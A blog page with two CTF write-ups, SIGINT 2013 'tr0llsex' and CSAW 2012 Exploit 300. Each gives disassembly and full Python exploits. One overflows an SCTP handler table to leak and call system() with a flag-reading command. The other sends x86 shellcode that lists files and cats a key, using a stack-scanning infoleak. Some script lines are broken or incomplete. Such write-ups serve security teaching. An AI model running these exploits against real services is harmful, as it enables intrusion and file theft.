code hacking, zen coding


SIGINT 2013 CTF – Pwning 300 – tr0llsex Write-up (SCTP challenge)

Posted by aXs

server: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x66661e417e6b4037e552b904c755f2e4a7ecf934, stripped

tr0llsex was a Linux ELF 64-bit binary from the SIGINT 2013 CTF's Pwning category. It's a fun little easy challenge with a twist: it's using SCTP protocol for the network transport layer instead of TCP or UDP.

One of SCTP's features is the ability to have separate ordered data streams inside the same SCTP connection. This challenge uses this feature.

$ socat - 'sctp-connect:'
stream 0: md4, stream 1: md5, stream 2: sha1, stream 3: random

After connection, you send your data to a specific stream number and depending on the stream number, your data will get a specific transform (MD4, MD5, SHA1, random bytes) and then get echoed back to you.

Let see how the binary is choosing which transform to use based on the stream number.

We have a table that is constructed on the stack, this table is mapping stream number with handlers:

-0000000000000860 md4_off         dq ?
-0000000000000858 md5_off         dq ?
-0000000000000850 sha1_off        dq ?
-0000000000000848 random_off      dq ?

.text:00000000004015BE                 mov     rax, ds:md4_off
.text:00000000004015C6                 mov     [rbp+md4_off], rax
.text:00000000004015CD                 mov     rax, ds:md5_off
.text:00000000004015D5                 mov     [rbp+md5_off], rax
.text:00000000004015DC                 mov     rax, ds:sha1_off
.text:00000000004015E4                 mov     [rbp+sha1_off], rax
.text:00000000004015EB                 mov     rax, ds:random_off
.text:00000000004015F3                 mov     [rbp+random_off], rax

.rodata:0000000000401960 md4_off         dq offset md4_handler   ; DATA XREF: do_menu+4Er
.rodata:0000000000401968 md5_off         dq offset md5_handler   ; DATA XREF: do_menu+5Dr
.rodata:0000000000401970 sha1_off        dq offset sha1_handler  ; DATA XREF: do_menu+6Cr
.rodata:0000000000401978 random_off      dq offset random_handler ; DATA XREF: do_menu+7Br

So table layout is:

[QWORD pointer to handler for stream 0]
[QWORD pointer to handler for stream 1]
[QWORD pointer to handler for stream 2]
[QWORD pointer to handler for stream 3]

Helping IDA with this unknown library call by adding the function signature:

.plt:0000000000400CA0 ; int __cdecl sctp_recvmsg(int sd, void *msg, size_t len, struct sockaddr *from, socklen_t *fromlen, struct sctp_sndrcvinfo *sinfo, int *msg_flags)
.plt:0000000000400CA0 _sctp_recvmsg   proc near               ; CODE XREF: do_menu+17Ep
.plt:0000000000400CA0 msg_flags       = qword ptr  8
.plt:0000000000400CA0                 jmp     cs:off_602098
.plt:0000000000400CA0 _sctp_recvmsg   endp

The binary calls _sctp_recvmsg function to get a datagram and get the stream number into the sinfo variable:

.text:00000000004016B0                 mov     rdx, 800h       ; len
.text:00000000004016BA                 mov     rax, 0
.text:00000000004016C4                 lea     r9, [rbp+sinfo] ; sinfo
.text:00000000004016C8                 lea     rcx, [rbp+msg_flags_orig2]
.text:00000000004016CC                 lea     rsi, [rbp+msg]  ; msg
.text:00000000004016D3                 mov     edi, [rbp+sock_fd] ; sd
.text:00000000004016D6                 mov     [rbp+msg_flags_orig], rcx
.text:00000000004016DD                 mov     rcx, rax        ; from
.text:00000000004016E0                 mov     r8, rax         ; fromlen
.text:00000000004016E3                 mov     rax, [rbp+msg_flags_orig]
.text:00000000004016EA                 mov     [rsp+8B0h+msg_flags], rax ; msg_flags
.text:00000000004016EE                 call    _sctp_recvmsg

The binary gets ready to call the correct handler:

- rax contains the stream number (from sinfo)
- offset calculation for our table of QWORD pointers
- datagram content is in rdi (first parameter for the handler function as per Linux x86_64 calling convention)
- datagram size is in rsi

.text:0000000000401755                 lea     rdi, [rbp+msg]
.text:000000000040175C                 movsx   rax, [rbp+sinfo]
.text:0000000000401761                 mov     rax, [rbp+rax*8+md4_off]
.text:0000000000401769                 movsxd  rsi, [rbp+read_buffer_size]
.text:000000000040176D                 mov     edx, [rbp+sock_fd]
.text:0000000000401770                 call    rax

The vulnerability we see here is that if we use a high numbered stream number, we will lookup past the table and look further into the stack, let see the stack layout again:

.text:0000000000401570 md4_off         = qword ptr -860h
.text:0000000000401570 md5_off         = qword ptr -858h
.text:0000000000401570 sha1_off        = qword ptr -850h
.text:0000000000401570 random_off      = qword ptr -848h
.text:0000000000401570 var_838         = qword ptr -838h
.text:0000000000401570 msg             = byte ptr -830h
.text:0000000000401570 sinfo           = word ptr -30h

Very convenient, just after the table we have our "msg" buffer which contains our datagram content, we will be able to control the value of rax and call any pointer we want.

Now, what can we call ? We need something like system() to retrieve the flag on the challenge server filesystem. But system() is not imported in the GOT so we don't know its offset into libc yet. We need to reverse a bit more.

An unused hander called "debug_handler" is also present in the binary. What this handler does is dlopen() the current binary (NULL filename) and look up a user-defined symbol inside, it output back the pointer to this symbol inside the binary.

According to the dlopen() man page:

If filename is a NULL pointer, then the returned handle is for the main program. When given to dlsym(), this handle causes a search for a symbol in the main program, followed by all shared libraries loaded at program startup, and then all shared libraries loaded by dlopen() with the flag RTLD_GLOBAL.

Which mean we can lookup symbols inside libc as well!

So our strategy:
- Step 1) Leak pointer to system() libc using debug_handler function
- Step 2) Call system() function with a shell command to leak flag file content

We can hopefully uses NULL-terminated string with sctp_recvmsg, so the payload layout is as follow:

payload  = 'system' + chr(0)
payload += 'B' * (16 - len(payload)) # pad to 16 bytes
payload += pack('<Q', 0x401120) # RIP to debug_handler
tcp.sctp_send(payload, stream=8)

We need 48 bytes to reach "msg" from "md4_off" in the stack and then we need to skip the start of our payload ("system" string). We reserve 16 bytes for this part so the distance between "md4_off" and our controlled pointer will be 64 bytes.

According to "mov rax, [rbp+rax*8+md4_off]", stream number needs to be 64/8 = 8.

The "debug_handler" function will send back the pointer on stream 1337:

.text:0000000000401133                 mov     [rbp+src], rdi  ; user-controlled input string from datagram content
.text:0000000000401146                 mov     rdi, 0          ; NULL = current binary
.text:0000000000401150                 mov     esi, 102h       ; mode
.text:0000000000401155                 mov     [rbp+var_B4], eax
.text:000000000040115B                 call    _dlopen
.text:0000000000401189                 mov     rdx, 80h        ; n
.text:0000000000401193                 lea     rdi, [rbp+s]    ; dest
.text:000000000040119A                 mov     rsi, [rbp+src]  ; src
.text:000000000040119E                 call    _strncpy
.text:00000000004011A3                 lea     rsi, [rbp+s]    ; name
.text:00000000004011AA                 mov     rdi, [rbp+handle] ; handle
.text:00000000004011B1                 mov     [rbp+var_C8], rax
.text:00000000004011B8                 call    _dlsym
.text:00000000004011D5                 mov     rsi, 80h        ; maxlen
.text:00000000004011DF                 lea     rdx, format     ; "%p" make pointer from dlsym() result
.text:00000000004011E7                 lea     rdi, [rbp+s]    ; s
.text:00000000004011EE                 mov     rcx, [rbp+var_A8]
.text:00000000004011F5                 mov     al, 0
.text:00000000004011F7                 call    _snprintf
.text:0000000000401221                 mov     rcx, 0          ; to
.text:000000000040122B                 mov     r8d, 0          ; tolen
.text:0000000000401231                 mov     r9d, 539h
.text:0000000000401237                 mov     edi, [rbp+sd]   ; sd
.text:000000000040123D                 mov     rsi, [rbp+msg]  ; msg
.text:0000000000401244                 mov     rdx, rax        ; len
.text:0000000000401247                 mov     [rbp+ppid], r8d
.text:000000000040124E                 mov     r10d, [rbp+ppid]
.text:0000000000401255                 mov     [rbp+var_E4], r9d
.text:000000000040125C                 mov     r9d, r10d       ; ppid
.text:000000000040125F                 mov     [rsp+110h+flags], 0 ; flags
.text:0000000000401266                 mov     dword ptr [rsp+110h+stream_no], 1337 ; stream_no
.text:000000000040126E                 mov     [rsp+110h+timetolive], 0 ; timetolive
.text:0000000000401276                 mov     [rsp+110h+context], 0 ; context
.text:000000000040127E                 call    _sctp_sendmsg

As we did a clean call, the program will loop after this infoleak and waits for our next command:

system = int(msgret[2:],16) # use leaked system() address
print "system=", hex(system)
payload  = 'cat /h*/*/f*>&4' + chr(0)
payload += 'B' * (16 - len(payload))
payload += pack('<Q', system) # RIP system()
tcp.sctp_send(payload, stream=8)

Same way to exploit, we overflow the table, pass over our data in the "msg" buffer and call a user-controlled pointer. This time this pointer will be system().

Our command is passed to system() via the rdi register like with the "debug_handler" call.

We take advantage of UNIX's file descriptor concept: even if we are using SCTP connection, it's a socket-based file descriptor to Linux and we can redirect the command output to it with a simple ">&4". As the daemon is forking, file descriptor will always be 4.

Complete exploit:

import _sctp
import sctp
from sctp import *
import time
from struct import pack,unpack

server = ""
tcpport = 1024

if _sctp.getconstant("IPPROTO_SCTP") != 132:
  raise "getconstant failed"
tcp = sctpsocket_tcp(socket.AF_INET)
saddr = (server, tcpport)

t = 0
while 1:
    fromaddr, flags, msgret, notif = tcp.sctp_recv(1000)
    print " Msg arrived, flag %d" % flags
    if flags & FLAG_NOTIFICATION:
        raise "We did not subscribe to receive notifications!"
        print "stream %d" %
  print "%s" % msgret

    if flags == 0:

    if t==0:
      payload  = 'system' + chr(0)
      payload += 'B' * (16 - len(payload))
      payload += pack('<Q', 0x401120) # RIP
      tcp.sctp_send(payload, stream=8)

    if t==1:
      system = int(msgret[2:],16)
      print "system=", hex(system)
      payload  = 'cat /h*/*/f*>&4' + chr(0)
      payload += 'B' * (16 - len(payload))
      payload += pack('<Q', system) # RIP
      tcp.sctp_send(payload, stream=8)

    t += 1


Exploit output:

$ python
Msg arrived, flag 128
stream 0
stream 0: md4, stream 1: md5, stream 2: sha1, stream 3: random
Msg arrived, flag 128
stream 0
system= 0x7f1595d703d0
Msg arrived, flag 128
stream 0

"SIGINT_we_care_for_our_irc_tr0lls" is the flag.


CSAW 2012 CTF – Exploit 300 Writeup

Posted by aXs

We have an interesting binary that uses signals to call functions. The most interesting handler is the user input handler:

(function names are my own, binary was stripped)

.text:080488C8 inputHandler    proc near               ; DATA XREF: sub_8048A3D+2Bo
.text:080488C8 s               = dword ptr -1Ch
.text:080488C8                 sub     esp, 1Ch
.text:080488CB                 mov     [esp+1Ch+s], offset aFBxpSpXpcuav ; "õ+íÕÅÀÞ»+ÕÅûÒÇé"
.text:080488D2                 call    _puts
.text:080488D7                 call    readUserInput
.text:080488DC                 add     esp, 1Ch
.text:080488DF                 retn
.text:080488DF inputHandler    endp

which call a function to read user input:

.text:0804889E readUserInput   proc near               ; CODE XREF: inputHandler+Fp
.text:0804889E fd              = dword ptr -15Ch
.text:0804889E buf             = dword ptr -158h
.text:0804889E nbytes          = dword ptr -154h
.text:0804889E var_146         = byte ptr -146h
.text:0804889E                 sub     esp, 15Ch
.text:080488A4                 mov     eax, ds:fd
.text:080488A9                 mov     [esp+15Ch+nbytes], 800h ; nbytes
.text:080488B1                 lea     edx, [esp+15Ch+var_146]
.text:080488B5                 mov     [esp+15Ch+buf], edx ; buf
.text:080488B9                 mov     [esp+15Ch+fd], eax ; fd
.text:080488BC                 call    _read
.text:080488C1                 add     esp, 15Ch
.text:080488C7                 retn
.text:080488C7 readUserInput   endp

Looks like we have a buffer overflow there Lets check it.

$ nc localhost 4842

Breakpoint in read and check the stack before the return

db$ stepi
  EAX: 0x00000201  EBX: 0x0000595F  ECX: 0xBFFFF216  EDX: 0x00000800  o d I t S z a P c
  ESI: 0x00000000  EDI: 0xB7FC3FF4  EBP: 0xBFFFF678  ESP: 0xBFFFF35C  EIP: 0x080488C7
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
=> 0x80488c7: ret    
   0x80488c8: sub    esp,0x1c
   0x80488cb: mov    DWORD PTR [esp],0x8048e23
   0x80488d2: call   0x80486b0 <puts@plt>
   0x80488d7: call   0x804889e
   0x80488dc: add    esp,0x1c
   0x80488df: ret    
   0x80488e0: push   edi
0x080488c7 in ?? ()
gdb$ x/8x $esp
0xbffff35c: 0x396b4138  0x41306c41  0x6c41316c  0x336c4132
0xbffff36c: 0x41346c41  0x6c41356c  0x376c4136  0x41386c41

Stack smashed. Calculate buffer length for EIP control:

$ /opt/framework-4.0.0/msf3/tools/pattern_offset.rb 0x396b4138

Now how can we exploit this buffer overflow to get the key ?

Checking the ELF headers:

$ eu-readelf -l exp300c.txt
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x000013 0x000013 R   0x1
  [Requesting program interpreter: /lib/]
  LOAD           0x000000 0x08048000 0x08048000 0x00121c 0x00121c R E 0x1000
  LOAD           0x001f14 0x0804af14 0x0804af14 0x00015c 0x00016c RW  0x1000
  DYNAMIC        0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x000f9c 0x08048f9c 0x08048f9c 0x000094 0x000094 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
  GNU_RELRO      0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R   0x1

Stack is RWE! So we will put our shellcode in the buffer (and on the stack) and jump to ip.

To get the right offset on the stack, we will fake parameters push on the stack and call send() to get dump of various memory ranges.

The way I went for it is to write a scanner with this infoleak. It will quickly scan the usual range for the stack (0xbfffffff) until it finds some readable data then i will switch to a more precise scanning and look for the nopsled we have put in front of the shellcode. As soon we have the offset of the nopsled, we switch from infoleak to exploit and jump to the shellcode which dump the content of the key file.

#!/usr/bin/env python

import socket
import sys
import struct
from struct import pack

host = sys.argv[1]
port = 4842

shellcode =  "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73"
shellcode += "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x17\x00\x00"
shellcode += "\x00\x6c\x73\x20\x2d\x6c\x61\x3e\x26\x34\x20\x3b\x20\x63"
shellcode += "\x61\x74\x20\x6b\x65\x79\x3e\x26\x34\x00\x57\x53\x89\xe1"
shellcode += "\xcd\x80"

def connect_to_host():

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.recv(132) # read banner

  return s

def exploit(offset):

  s = connect_to_host()

  payload = ('\x90' * 32) + shellcode
  payload += 'A' * (326 - len(payload))

  payload += pack("L", offset)


  data = True

  while data:
    data = s.recv(1024)
    print repr(data)

def leak(offset, size):

  s = connect_to_host()

  off_send = pack("L", 0x08048770)

  payload = ('\x90' * 32) + shellcode
  payload += 'A' * (326 - len(payload))

  payload += off_send

  payload += pack('<I', 0x08048813) # exit

  payload += pack('<I', 0x4) # fd
  payload += pack('<I', offset)
  payload += pack('<I', size) # len
  payload += pack('<I', 0x40) # flags


  result = ''
  data = True

  while data:
    data = s.recv(1024)
    result += data

  return result

print "Searching stack..."

off_shellcode_start = 0xbfffffff

data = ''

while data == '' or data == '\x00\x00\x00\x00':
  data = leak(off_shellcode_start, 4096)
  print "stack offset=", hex(off_shellcode_start), repr(data)
  if data == '' or data == '\x00\x00\x00\x00':
    off_shellcode_start -= 0xf000

print "Searching shellcode..."

data = ''

while data != '\x90\x90\x90\x90':
  data = leak(off_shellcode_start, 4)
  print "shellcode offset=", hex(off_shellcode_start), "data=", repr(data)
  if data != '\x90\x90\x90\x90':
    off_shellcode_start += 8

print "Exploiting at offset", hex(off_shellcode_start)



Exploit output:

$ python localhost
Searching stack...
stack offset= 0xbfffffffL ''
stack offset= 0xbfff0fffL ''
stack offset= 0xbffe1fffL ''
stack offset= 0xbfba9fffL ''
stack offset= 0xbfb9afffL '\x00\x00\x00\x00'
Searching shellcode...
shellcode offset= 0xbfb9afffL data= '\x00\x00\x00\x00'
shellcode offset= 0xbfb9b007L data= '\x00\x00\x00\x00'
shellcode offset= 0xbfb9cac7L data= '\xbf\x00\x08\x00'
shellcode offset= 0xbfb9cacfL data= '\x00\x04\x00\x00'
shellcode offset= 0xbfb9cad7L data= '\x90\x90\x90\x90'
Exploiting at offset 0xbfb9cad7L
'total 20\ndrwxr-xr-x  2 liaotian liaotian 4096 Sep 29 00:27 .\ndrwxr-xr-x 14 root     root     4096 Sep 29 00:27 ..\n-rw-r--r--  1 liaotian liaotian  220 Apr 10  2010 .bash_logout\n-rw-r--r--  1 liaotian liaotian 3184 Apr 10  2010 .bashrc\n-rw-r--r--  1 liaotian liaotian  675 Apr 10  2010 .profile\n'